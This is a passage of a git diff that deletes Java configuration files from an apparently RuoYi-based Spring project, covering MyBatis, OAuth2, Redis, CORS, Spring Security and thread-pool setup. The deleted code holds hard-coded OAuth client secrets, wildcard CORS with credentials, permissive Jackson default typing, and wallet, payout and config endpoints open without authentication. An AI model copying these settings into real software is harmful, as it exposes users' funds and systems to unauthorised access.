suChinese.append(CNUMBERS[x]); - suChinese.append("-"); - suChinese.append(CNUMBERS[y]); - } - else - { - result = y - x; - suChinese.append(CNUMBERS[y]); - suChinese.append("-"); - suChinese.append(CNUMBERS[x]); - } - } - else - { - result = x + y; - suChinese.append(CNUMBERS[x]); - suChinese.append("+"); - suChinese.append(CNUMBERS[y]); - } - suChinese.append("=?@" + result); - return suChinese.toString(); - } -} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/MyBatisConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/MyBatisConfig.java deleted file mode 100644 index 04a4307..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/MyBatisConfig.java +++ /dev/null @@ -1,125 +0,0 @@ -package com.ruoyi.framework.config; - -import com.baomidou.mybatisplus.core.config.GlobalConfig; -import com.baomidou.mybatisplus.core.toolkit.GlobalConfigUtils; -import com.baomidou.mybatisplus.extension.spring.MybatisSqlSessionFactoryBean; -import com.baomidou.mybatisplus.autoconfigure.MybatisPlusProperties; -import com.ruoyi.common.utils.StringUtils; -import org.apache.ibatis.io.VFS; -import org.apache.ibatis.session.SqlSessionFactory; -import org.mybatis.spring.boot.autoconfigure.SpringBootVFS; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import org.springframework.core.env.Environment; -import org.springframework.core.io.DefaultResourceLoader; -import org.springframework.core.io.Resource; -import org.springframework.core.io.support.PathMatchingResourcePatternResolver; -import org.springframework.core.io.support.ResourcePatternResolver; -import org.springframework.core.type.classreading.CachingMetadataReaderFactory; -import org.springframework.core.type.classreading.MetadataReader; -import org.springframework.core.type.classreading.MetadataReaderFactory; -import org.springframework.util.ClassUtils; - -import javax.sql.DataSource; -import java.io.IOException; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.HashSet; -import java.util.List; - -@Configuration -public class MyBatisConfig { - @Autowired - private Environment env; - - @Autowired - private MybatisPlusProperties mybatisPlusProperties; - - static final String DEFAULT_RESOURCE_PATTERN = "**/*.class"; - - public static String setTypeAliasesPackage(String typeAliasesPackage) { - ResourcePatternResolver resolver = (ResourcePatternResolver) new PathMatchingResourcePatternResolver(); - MetadataReaderFactory metadataReaderFactory = new CachingMetadataReaderFactory(resolver); - List allResult = new ArrayList(); - try { - for (String aliasesPackage : typeAliasesPackage.split(",")) { - List result = new ArrayList(); - aliasesPackage = ResourcePatternResolver.CLASSPATH_ALL_URL_PREFIX - + ClassUtils.convertClassNameToResourcePath(aliasesPackage.trim()) + "/" - + DEFAULT_RESOURCE_PATTERN; - Resource[] resources = resolver.getResources(aliasesPackage); - if (resources != null && resources.length > 0) { - MetadataReader metadataReader = null; - for (Resource resource : resources) { - if (resource.isReadable()) { - metadataReader = metadataReaderFactory.getMetadataReader(resource); - try { - result.add(Class.forName(metadataReader.getClassMetadata().getClassName()).getPackage() - .getName()); - } catch (ClassNotFoundException e) { - e.printStackTrace(); - } - } - } - } - if (result.size() > 0) { - HashSet hashResult = new HashSet(result); - allResult.addAll(hashResult); - } - } - if (allResult.size() > 0) { - typeAliasesPackage = String.join(",", (String[]) allResult.toArray(new String[0])); - } else { - throw new RuntimeException( - "mybatis typeAliasesPackage 路径扫描错误,参数typeAliasesPackage:" + typeAliasesPackage + "未找到任何包"); - } - } catch (IOException e) { - e.printStackTrace(); - } - return typeAliasesPackage; - } - - public Resource[] resolveMapperLocations(String[] mapperLocations) { - ResourcePatternResolver resourceResolver = new PathMatchingResourcePatternResolver(); - List resources = new ArrayList(); - if (mapperLocations != null) { - for (String mapperLocation : mapperLocations) { - try { - Resource[] mappers = resourceResolver.getResources(mapperLocation); - resources.addAll(Arrays.asList(mappers)); - } catch (IOException e) { - // ignore - } - } - } - return resources.toArray(new Resource[resources.size()]); - } - - @Bean - public SqlSessionFactory sqlSessionFactory(DataSource dataSource, MybatisPlusInterceptor paginationInterceptor, - CustomKeyGenerator customKeyGenerator) throws Exception { - String typeAliasesPackage = env.getProperty("mybatis.typeAliasesPackage"); - String mapperLocations = env.getProperty("mybatis.mapperLocations"); - String configLocation = env.getProperty("mybatis.configLocation"); - typeAliasesPackage = setTypeAliasesPackage(typeAliasesPackage); - VFS.addImplClass(SpringBootVFS.class); - - final MybatisSqlSessionFactoryBean sessionFactory = new MybatisSqlSessionFactoryBean(); - sessionFactory.setDataSource(dataSource); - sessionFactory.setTypeAliasesPackage(typeAliasesPackage); - sessionFactory.setMapperLocations(resolveMapperLocations(StringUtils.split(mapperLocations, ","))); - sessionFactory.setConfigLocation(new DefaultResourceLoader().getResource(configLocation)); - sessionFactory.setPlugins(paginationInterceptor); - - GlobalConfig globalConfig = mybatisPlusProperties.getGlobalConfig(); - if (globalConfig == null) { - globalConfig = new GlobalConfig(); - } - globalConfig.setIdentifierGenerator(customKeyGenerator); - sessionFactory.setGlobalConfig(globalConfig); - - SqlSessionFactory sqlSessionFactory = sessionFactory.getObject(); - return sqlSessionFactory; - } -} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/MybatisPlusInterceptor.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/MybatisPlusInterceptor.java deleted file mode 100644 index a54e879..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/MybatisPlusInterceptor.java +++ /dev/null @@ -1,123 +0,0 @@ -package com.ruoyi.framework.config; - -import com.baomidou.mybatisplus.core.toolkit.ClassUtils; -import com.baomidou.mybatisplus.extension.plugins.inner.InnerInterceptor; -import com.baomidou.mybatisplus.extension.toolkit.PropertyMapper; -import lombok.Setter; -import org.apache.ibatis.cache.CacheKey; -import org.apache.ibatis.executor.Executor; -import org.apache.ibatis.executor.statement.StatementHandler; -import org.apache.ibatis.mapping.BoundSql; -import org.apache.ibatis.mapping.MappedStatement; -import org.apache.ibatis.mapping.SqlCommandType; -import org.apache.ibatis.plugin.*; -import org.apache.ibatis.session.ResultHandler; -import org.apache.ibatis.session.RowBounds; - -import java.sql.Connection; -import java.util.*; - -/** - * @author miemie - * @since 3.4.0 - */ -@SuppressWarnings({"rawtypes"}) -@Intercepts( - { - @Signature(type = StatementHandler.class, method = "prepare", args = {Connection.class, Integer.class}), - @Signature(type = Executor.class, method = "update", args = {MappedStatement.class, Object.class}), - @Signature(type = Executor.class, method = "query", args = {MappedStatement.class, Object.class, RowBounds.class, ResultHandler.class}), - @Signature(type = Executor.class, method = "query", args = {MappedStatement.class, Object.class, RowBounds.class, ResultHandler.class, CacheKey.class, BoundSql.class}), - } -) -public class MybatisPlusInterceptor implements Interceptor { - - @Setter - private List interceptors = new ArrayList<>(); - - @Override - public Object intercept(Invocation invocation) throws Throwable { - Object target = invocation.getTarget(); - Object[] args = invocation.getArgs(); - if (target instanceof Executor) { - final Executor executor = (Executor) target; - Object parameter = args[1]; - boolean isUpdate = args.length == 2; - MappedStatement ms = (MappedStatement) args[0]; - if (!isUpdate && ms.getSqlCommandType() == SqlCommandType.SELECT) { - RowBounds rowBounds = (RowBounds) args[2]; - ResultHandler resultHandler = (ResultHandler) args[3]; - BoundSql boundSql; - if (args.length == 4) { - boundSql = ms.getBoundSql(parameter); - } else { - // 几乎不可能走进这里面,除非使用Executor的代理对象调用query[args[6]] - boundSql = (BoundSql) args[5]; - } - for (InnerInterceptor query : interceptors) { - if (!query.willDoQuery(executor, ms, parameter, rowBounds, resultHandler, boundSql)) { - return Collections.emptyList(); - } - query.beforeQuery(executor, ms, parameter, rowBounds, resultHandler, boundSql); - } - CacheKey cacheKey = executor.createCacheKey(ms, parameter, rowBounds, boundSql); - return executor.query(ms, parameter, rowBounds, resultHandler, cacheKey, boundSql); - } else if (isUpdate) { - for (InnerInterceptor update : interceptors) { - if (!update.willDoUpdate(executor, ms, parameter)) { - return -1; - } - update.beforeUpdate(executor, ms, parameter); - } - } - } else { - // StatementHandler - final StatementHandler sh = (StatementHandler) target; - Connection connections = (Connection) args[0]; - Integer transactionTimeout = (Integer) args[1]; - for (InnerInterceptor innerInterceptor : interceptors) { - innerInterceptor.beforePrepare(sh, connections, transactionTimeout); - } - } - return invocation.proceed(); - } - - @Override - public Object plugin(Object target) { - if (target instanceof Executor || target instanceof StatementHandler) { - return Plugin.wrap(target, this); - } - return target; - } - - public void addInnerInterceptor(InnerInterceptor innerInterceptor) { - this.interceptors.add(innerInterceptor); - } - - public List getInterceptors() { - return Collections.unmodifiableList(interceptors); - } - - /** - * 使用内部规则,拿分页插件举个栗子: - *

- * - key: "@page" ,value: "com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor" - * - key: "page:limit" ,value: "100" - *

- * 解读1: key 以 "@" 开头定义了这是一个需要组装的 `InnerInterceptor`, 以 "page" 结尾表示别名 - * value 是 `InnerInterceptor` 的具体的 class 全名 - * 解读2: key 以上面定义的 "别名 + ':'" 开头指这个 `value` 是定义的该 `InnerInterceptor` 属性需要设置的值 - *

- * 如果这个 `InnerInterceptor` 不需要配置属性也要加别名 - */ - @Override - public void setProperties(Properties properties) { - PropertyMapper pm = PropertyMapper.newInstance(properties); - Map group = pm.group("@"); - group.forEach((k, v) -> { - InnerInterceptor innerInterceptor = ClassUtils.newInstance(k); - innerInterceptor.setProperties(v); - addInnerInterceptor(innerInterceptor); - }); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/OAuth2AuthorizationServerConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/OAuth2AuthorizationServerConfig.java deleted file mode 100644 index 579983d..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/OAuth2AuthorizationServerConfig.java +++ /dev/null @@ -1,56 +0,0 @@ -package com.ruoyi.framework.config; - -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.context.annotation.Configuration; -import org.springframework.security.authentication.AuthenticationManager; -import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; -import org.springframework.security.oauth2.config.annotation.configurers.ClientDetailsServiceConfigurer; -import org.springframework.security.oauth2.config.annotation.web.configuration.AuthorizationServerConfigurerAdapter; -import org.springframework.security.oauth2.config.annotation.web.configuration.EnableAuthorizationServer; -import org.springframework.security.oauth2.config.annotation.web.configurers.AuthorizationServerEndpointsConfigurer; - -/** - * OAuth2 授权服务器配置 - * 支持 client_credentials 模式 - * - * @author ruoyi - */ -@Configuration -@EnableAuthorizationServer -public class OAuth2AuthorizationServerConfig extends AuthorizationServerConfigurerAdapter { - - @Autowired - private AuthenticationManager authenticationManager; - - @Autowired - private BCryptPasswordEncoder passwordEncoder; - - /** - * 配置客户端详情服务 - * client_credentials 模式不需要用户认证,只需要客户端认证 - */ - @Override - public void configure(ClientDetailsServiceConfigurer clients) throws Exception { - clients.inMemory() - .withClient("lu7213") // 客户端ID - .secret(passwordEncoder.encode("123456")) // 客户端密钥(加密) - .authorizedGrantTypes("client_credentials") // 授权类型:client_credentials - .scopes("openapi") // 授权范围 - .accessTokenValiditySeconds(31536000) // token有效期(秒) - .and() - .withClient("luqj-client") // 额外的客户端 - .secret(passwordEncoder.encode("luqj-secret")) - .authorizedGrantTypes("client_credentials") - .scopes("openapi", "api") - .accessTokenValiditySeconds(7200); - } - - /** - * 配置授权服务器端点 - */ - @Override - public void configure(AuthorizationServerEndpointsConfigurer endpoints) throws Exception { - endpoints - .authenticationManager(authenticationManager); - } -} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/OAuth2ResourceServerConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/OAuth2ResourceServerConfig.java deleted file mode 100644 index 765524c..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/OAuth2ResourceServerConfig.java +++ /dev/null @@ -1,50 +0,0 @@ -package com.ruoyi.framework.config; - -import org.springframework.context.annotation.Configuration; -import org.springframework.security.config.annotation.web.builders.HttpSecurity; -import org.springframework.security.config.http.SessionCreationPolicy; -import org.springframework.security.oauth2.config.annotation.web.configuration.EnableResourceServer; -import org.springframework.security.oauth2.config.annotation.web.configuration.ResourceServerConfigurerAdapter; -import org.springframework.security.oauth2.config.annotation.web.configurers.ResourceServerSecurityConfigurer; - -/** - * OAuth2 资源服务器配置 - * 保护 openapi/** 路径的资源 - * - * @author ruoyi - */ -@Configuration -@EnableResourceServer -public class OAuth2ResourceServerConfig extends ResourceServerConfigurerAdapter { - - private static final String OPENAPI_RESOURCE_ID = "openapi-resource"; - - /** - * 配置资源服务器安全属性 - */ - @Override - public void configure(ResourceServerSecurityConfigurer resources) throws Exception { - resources.resourceId(OPENAPI_RESOURCE_ID).stateless(true); - } - - /** - * 配置资源服务器的 HTTP 安全 - * openapi/** 路径需要 OAuth2 token 认证 - */ - @Override - public void configure(HttpSecurity http) throws Exception { - http - .requestMatchers() - .antMatchers("/openapi/**") - .and() - .authorizeRequests() - .antMatchers("/openapi/**") - .access("#oauth2.hasScope('openapi')") - .anyRequest().authenticated() - .and() - .sessionManagement() - .sessionCreationPolicy(SessionCreationPolicy.STATELESS) - .and() - .csrf().disable(); - } -} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/RedisConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/RedisConfig.java deleted file mode 100644 index fb74705..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/RedisConfig.java +++ /dev/null @@ -1,46 +0,0 @@ -package com.ruoyi.framework.config; - -import com.fasterxml.jackson.annotation.JsonAutoDetect; -import com.fasterxml.jackson.annotation.JsonTypeInfo; -import com.fasterxml.jackson.annotation.PropertyAccessor; -import com.fasterxml.jackson.databind.ObjectMapper; -import com.fasterxml.jackson.databind.jsontype.impl.LaissezFaireSubTypeValidator; -import com.ruoyi.common.config.FastJson2JsonRedisSerializer; -import org.springframework.cache.annotation.CachingConfigurerSupport; -import org.springframework.cache.annotation.EnableCaching; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import org.springframework.data.redis.connection.RedisConnectionFactory; -import org.springframework.data.redis.core.RedisTemplate; -import org.springframework.data.redis.serializer.StringRedisSerializer; - -/** - * redis配置 - * - * @author ruoyi - */ -@Configuration -@EnableCaching -public class RedisConfig extends CachingConfigurerSupport -{ - @Bean - @SuppressWarnings(value = { "unchecked", "rawtypes" }) - public RedisTemplate redisTemplate(RedisConnectionFactory connectionFactory) - { - RedisTemplate template = new RedisTemplate<>(); - template.setConnectionFactory(connectionFactory); - - FastJson2JsonRedisSerializer serializer = new FastJson2JsonRedisSerializer(Object.class); - - ObjectMapper mapper = new ObjectMapper(); - mapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY); - mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY); - serializer.setObjectMapper(mapper); - - template.setValueSerializer(serializer); - // 使用StringRedisSerializer来序列化和反序列化redis的key值 - template.setKeySerializer(new StringRedisSerializer()); - template.afterPropertiesSet(); - return template; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ResourcesConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ResourcesConfig.java deleted file mode 100644 index 7f0a629..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ResourcesConfig.java +++ /dev/null @@ -1,66 +0,0 @@ -package com.ruoyi.framework.config; - -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import org.springframework.web.cors.CorsConfiguration; -import org.springframework.web.cors.UrlBasedCorsConfigurationSource; -import org.springframework.web.filter.CorsFilter; -import org.springframework.web.servlet.config.annotation.InterceptorRegistry; -import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; -import org.springframework.web.servlet.config.annotation.WebMvcConfigurer; -import com.ruoyi.common.config.RuoYiConfig; -import com.ruoyi.common.constant.Constants; -import com.ruoyi.framework.interceptor.RepeatSubmitInterceptor; - -/** - * 通用配置 - * - * @author ruoyi - */ -@Configuration -public class ResourcesConfig implements WebMvcConfigurer -{ - @Autowired - private RepeatSubmitInterceptor repeatSubmitInterceptor; - - @Override - public void addResourceHandlers(ResourceHandlerRegistry registry) - { - /** 本地文件上传路径 */ - registry.addResourceHandler(Constants.RESOURCE_PREFIX + "/**").addResourceLocations("file:" + RuoYiConfig.getProfile() + "/"); - - /** swagger配置 */ - registry.addResourceHandler("swagger-ui.html").addResourceLocations("classpath:/META-INF/resources/"); - registry.addResourceHandler("/webjars/**").addResourceLocations("classpath:/META-INF/resources/webjars/"); - } - - /** - * 自定义拦截规则 - */ - @Override - public void addInterceptors(InterceptorRegistry registry) - { - registry.addInterceptor(repeatSubmitInterceptor).addPathPatterns("/**"); - } - - /** - * 跨域配置 - */ - @Bean - public CorsFilter corsFilter() - { - UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource(); - CorsConfiguration config = new CorsConfiguration(); - config.setAllowCredentials(true); - // 设置访问源地址 - config.addAllowedOrigin("*"); - // 设置访问源请求头 - config.addAllowedHeader("*"); - // 设置访问源请求方法 - config.addAllowedMethod("*"); - // 对接口配置跨域设置 - source.registerCorsConfiguration("/**", config); - return new CorsFilter(source); - } -} \ No newline at end of file diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SecurityConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SecurityConfig.java deleted file mode 100644 index 93e23ae..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/SecurityConfig.java +++ /dev/null @@ -1,191 +0,0 @@ -package com.ruoyi.framework.config; - -import com.ruoyi.framework.config.properties.WhitelistProperties; -import com.ruoyi.framework.security.filter.JwtAuthenticationTokenFilter; -import com.ruoyi.framework.security.filter.TraceIdFilter; -import com.ruoyi.framework.security.handle.AuthenticationEntryPointImpl; -import com.ruoyi.framework.security.handle.LogoutSuccessHandlerImpl; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import org.springframework.http.HttpMethod; -import org.springframework.security.authentication.AuthenticationManager; -import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder; -import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity; -import org.springframework.security.config.annotation.web.builders.HttpSecurity; -import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; -import org.springframework.security.config.http.SessionCreationPolicy; -import org.springframework.security.core.userdetails.UserDetailsService; -import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; -import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter; -import org.springframework.security.web.authentication.logout.LogoutFilter; -import org.springframework.web.filter.CorsFilter; - -import org.springframework.core.annotation.Order; - -import java.util.ArrayList; -import java.util.List; - -/** - * spring security配置 - * - * @author ruoyi - */ -@EnableGlobalMethodSecurity(prePostEnabled = true, securedEnabled = true) -@Configuration -@Order(101) // OAuth2 ResourceServer order=3, WebSecurity order需要更高,避免冲突 -public class SecurityConfig extends WebSecurityConfigurerAdapter { - /** - * 自定义用户认证逻辑 - */ - @Autowired - private UserDetailsService userDetailsService; - - /** - * 认证失败处理类 - */ - @Autowired - private AuthenticationEntryPointImpl unauthorizedHandler; - - @Autowired - private WhitelistProperties whitelistProperties; - - /** - * 退出处理类 - */ - @Autowired - private LogoutSuccessHandlerImpl logoutSuccessHandler; - - /** - * token认证过滤器 - */ - @Autowired - private JwtAuthenticationTokenFilter authenticationTokenFilter; - - @Autowired - private TraceIdFilter traceIdFilter; - /** - * 跨域过滤器 - */ - @Autowired - private CorsFilter corsFilter; - - /** - * 解决 无法直接注入 AuthenticationManager - * - * @return - * @throws Exception - */ - @Bean - @Override - public AuthenticationManager authenticationManagerBean() throws Exception { - return super.authenticationManagerBean(); - } - - /** - * anyRequest | 匹配所有请求路径 - * access | SpringEl表达式结果为true时可以访问 - * anonymous | 匿名可以访问 - * denyAll | 用户不能访问 - * fullyAuthenticated | 用户完全认证可以访问(非remember-me下自动登录) - * hasAnyAuthority | 如果有参数,参数表示权限,则其中任何一个权限可以访问 - * hasAnyRole | 如果有参数,参数表示角色,则其中任何一个角色可以访问 - * hasAuthority | 如果有参数,参数表示权限,则其权限可以访问 - * hasIpAddress | 如果有参数,参数表示IP地址,如果用户IP和参数匹配,则可以访问 - * hasRole | 如果有参数,参数表示角色,则其角色可以访问 - * permitAll | 用户可以任意访问 - * rememberMe | 允许通过remember-me登录的用户访问 - * authenticated | 用户登录后可访问 - */ - @Override - protected void configure(HttpSecurity httpSecurity) throws Exception { - List antPatterns = new ArrayList<>(); - antPatterns.add("/*.html"); - antPatterns.add("/**/*.html"); - antPatterns.add("/**/*.css"); - antPatterns.add("/**/*.js"); - if (whitelistProperties.getWhitelist() != null && whitelistProperties.getWhitelist().size() > 0) { - antPatterns.addAll(whitelistProperties.getWhitelist()); - } - httpSecurity - // CSRF禁用,因为不使用session - .csrf().disable() - // 认证失败处理类 - .exceptionHandling().authenticationEntryPoint(unauthorizedHandler).and() - // 基于token,所以不需要session - .sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS).and() - // 过滤请求 - .authorizeRequests() - // 对于登录login 验证码captchaImage 允许匿名访问 - .antMatchers("/login", "/simple-login", "/captchaImage").anonymous() - .antMatchers(HttpMethod.POST, "/system/user/usdt/register").permitAll() - .antMatchers("/auth/google/login-url", "/auth/google/callback", "/auth/google/exchange").permitAll() - .antMatchers(HttpMethod.POST, "/auth/totp/login").permitAll() - .antMatchers( -// HttpMethod.GET, - antPatterns.toArray(new String[0]) - ).permitAll() - .antMatchers("/profile/**").anonymous() - .antMatchers("/common/download**").anonymous() - .antMatchers("/common/download/resource**").anonymous() - .antMatchers("/swagger-ui.html").anonymous() - .antMatchers("/swagger-resources/**").anonymous() - .antMatchers("/webjars/**").anonymous() - .antMatchers("/*/api-docs").anonymous() - .antMatchers("/druid/**").anonymous() - .antMatchers("/system/wx/**").anonymous() - .antMatchers("/backend").anonymous() - .antMatchers("/life/trip/all").permitAll() - .antMatchers("/life/housingEstate/all-by-letter").permitAll() - .antMatchers("/system/config/getVerifyStatus").permitAll() - .antMatchers("/system/config/setVerifyStatus").permitAll() - .antMatchers("/api/v1/wallet/**").permitAll() - .antMatchers("/api/v1/order/**").permitAll() - .antMatchers(HttpMethod.POST, "/api/rental/payment/notify/*").permitAll() - .antMatchers("/api/v1/payout/**").permitAll() - // 租赁商户及节点另用四域HMAC认证;绝不共用支付MD5签名。 - .antMatchers("/api/rental/v1/**", "/node/v1/socket").permitAll() - .antMatchers("/api/telegram/webhook").permitAll() - // 通用回调调试入口,仅接收并记录数据,不执行任何业务操作。 - .antMatchers("/api/webhook/debug").permitAll() - .antMatchers("/system/demoUsdt/**").permitAll() - .anyRequest().authenticated() - .and() - .headers().frameOptions().disable(); - httpSecurity.logout().logoutUrl("/logout").logoutSuccessHandler(logoutSuccessHandler); - // CORS Filter - httpSecurity.addFilterBefore( - corsFilter, - LogoutFilter.class - ); - - // TraceId Filter - httpSecurity.addFilterBefore( - traceIdFilter, - LogoutFilter.class - ); - - // JWT Filter - httpSecurity.addFilterAfter( - authenticationTokenFilter, - TraceIdFilter.class - ); - } - - - /** - * 强散列哈希加密实现 - */ - @Bean - public BCryptPasswordEncoder bCryptPasswordEncoder() { - return new BCryptPasswordEncoder(); - } - - /** - * 身份认证接口 - */ - @Override - protected void configure(AuthenticationManagerBuilder auth) throws Exception { - auth.userDetailsService(userDetailsService).passwordEncoder(bCryptPasswordEncoder()); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ServerConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ServerConfig.java deleted file mode 100644 index b5b7de3..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ServerConfig.java +++ /dev/null @@ -1,32 +0,0 @@ -package com.ruoyi.framework.config; - -import javax.servlet.http.HttpServletRequest; -import org.springframework.stereotype.Component; -import com.ruoyi.common.utils.ServletUtils; - -/** - * 服务相关配置 - * - * @author ruoyi - */ -@Component -public class ServerConfig -{ - /** - * 获取完整的请求路径,包括:域名,端口,上下文访问路径 - * - * @return 服务地址 - */ - public String getUrl() - { - HttpServletRequest request = ServletUtils.getRequest(); - return getDomain(request); - } - - public static String getDomain(HttpServletRequest request) - { - StringBuffer url = request.getRequestURL(); - String contextPath = request.getServletContext().getContextPath(); - return url.delete(url.length() - request.getRequestURI().length(), url.length()).append(contextPath).toString(); - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ThreadPoolConfig.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ThreadPoolConfig.java deleted file mode 100644 index 58aad2d..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/ThreadPoolConfig.java +++ /dev/null @@ -1,84 +0,0 @@ -package com.ruoyi.framework.config; - -import java.util.Map; -import java.util.concurrent.ScheduledExecutorService; -import java.util.concurrent.ScheduledThreadPoolExecutor; -import java.util.concurrent.ThreadPoolExecutor; -import org.apache.commons.lang3.concurrent.BasicThreadFactory; -import org.slf4j.MDC; -import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Configuration; -import org.springframework.core.task.TaskDecorator; -import org.springframework.scheduling.annotation.EnableAsync; -import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; -import com.ruoyi.common.utils.Threads; - -/** - * 线程池配置 - * - * @author ruoyi - **/ -@EnableAsync -@Configuration -public class ThreadPoolConfig -{ - // 核心线程池大小 - private int corePoolSize = 50; - - // 最大可创建的线程数 - private int maxPoolSize = 200; - - // 队列最大长度 - private int queueCapacity = 1000; - - // 线程池维护线程所允许的空闲时间 - private int keepAliveSeconds = 300; - - @Bean(name = "threadPoolTaskExecutor") - public ThreadPoolTaskExecutor threadPoolTaskExecutor() - { - ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); - executor.setMaxPoolSize(maxPoolSize); - executor.setCorePoolSize(corePoolSize); - executor.setQueueCapacity(queueCapacity); - executor.setKeepAliveSeconds(keepAliveSeconds); - // 线程池对拒绝任务(无线程可用)的处理策略 - executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); - executor.setTaskDecorator(new TaskDecorator() { - /** - * 使异步线程池获得主线程的上下文 - */ - @Override - public Runnable decorate(Runnable runnable) { - Map map = MDC.getCopyOfContextMap(); - return () -> { - try { - MDC.setContextMap(map); - runnable.run(); - } finally { - MDC.clear(); - } - }; - } - }); - return executor; - } - - /** - * 执行周期性或定时任务 - */ - @Bean(name = "scheduledExecutorService") - protected ScheduledExecutorService scheduledExecutorService() - { - return new ScheduledThreadPoolExecutor(corePoolSize, - new BasicThreadFactory.Builder().namingPattern("schedule-pool-%d").daemon(true).build()) - { - @Override - protected void afterExecute(Runnable r, Throwable t) - { - super.afterExecute(r, t); - Threads.printException(r, t); - } - }; - } -} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/DruidProperties.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/DruidProperties.java deleted file mode 100644 index 84f7e00..0000000 --- a/ruoyi-framework/src/main/java/com/ruoyi/framework/config/properties/DruidProperties.java +++ /dev/null @@ -1,77 +0,0 @@ -package com.ruoyi.framework.config.properties; - -import org.springframework.beans.factory.annotation.Value; -import org.springframework.context.annotation.Configuration; -import com.alibaba.druid.pool.DruidDataSource; - -/** - * druid 配置属性 - * - * @author ruoyi - */ -@Configuration -public class DruidProperties -{ - @Value("${spring.datasource.druid.initialSize}") - private int initialSize; - - @Value("${spring.datasource.druid.minIdle}") - private int minIdle; - - @Value("${spring.datasource.druid.maxActive}") - private int maxActive; - - @Value("${spring.datasource.druid.maxWait}") - private int maxWait; - - @Value("${spring.datasource.druid.timeBetweenEvictionRunsMillis}") - private int timeBetweenEvictionRunsMillis; - - @Value("${spring.datasource.druid.minEvictableIdleTimeMillis}") - private int minEvictableIdleTimeMillis; - - @Value("${spring.datasource.druid.maxEvictableIdleTimeMillis}") - private int maxEvictableIdleTimeMillis; - - @Value("${spring.datasource.druid.validationQuery}") - private String validationQuery; - - @Value("${spring.datasource.druid.testWhileIdle}") - private boolean testWhileIdle; - - @Value("${spring.datasource.druid.testOnBorrow}") - private boolean testOnBorrow; - - @Value("${spring.datasource.druid.testOnReturn}") - private boolean testOnReturn; - - public DruidDataSource dataSource(DruidDataSource datasource) - { - /** 配置初始化大小、最小、最大 */ - datasource.setInitialSize(initialSize); - datasource.setMaxActive(maxActive); - datasource.setMinIdle(minIdle); - - /** 配置获取连接等待超时的时间 */ - datasource.setMaxWait(maxWait); - - /** 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 */ - datasource.setTimeBetweenEvictionRunsMillis(timeBetweenEvictionRunsMillis); - - /** 配置一个连接在池中最小、最大生存的时间,单位是毫秒 */ - datasource.setMinEvictableIdleTimeMillis(minEvictableIdleTimeMillis); - datasource.setMaxEvictableIdleTimeMillis(maxEvictableIdleTimeMillis); - - /** - * 用来检测连接是否有效的sql,要求是一个查询语句,常用select 'x'。如果validationQuery为null,testOnBorrow、testOnReturn、testWhileIdle都不会起作用。 - */ - datasource.setValidationQuery(validationQuery); - /** 建议配置为true,不影响性能,并且保证安全性。申请连接的时候检测,如果空闲时间大于timeBetweenEvictionRunsMillis,执行validationQuery检测连接是否有效。 */ - datasource.setTestWhileIdle(testWhileIdle); - /** 申请连接时执行validationQuery检测连接是否有效,做了这个配置会降低性能。 */ - datasource.setTestOnBorrow(testOnBorrow); - /** 归还连接时执行validationQuery检测连接是否有效,做了这个配置会降低性能。 */ - 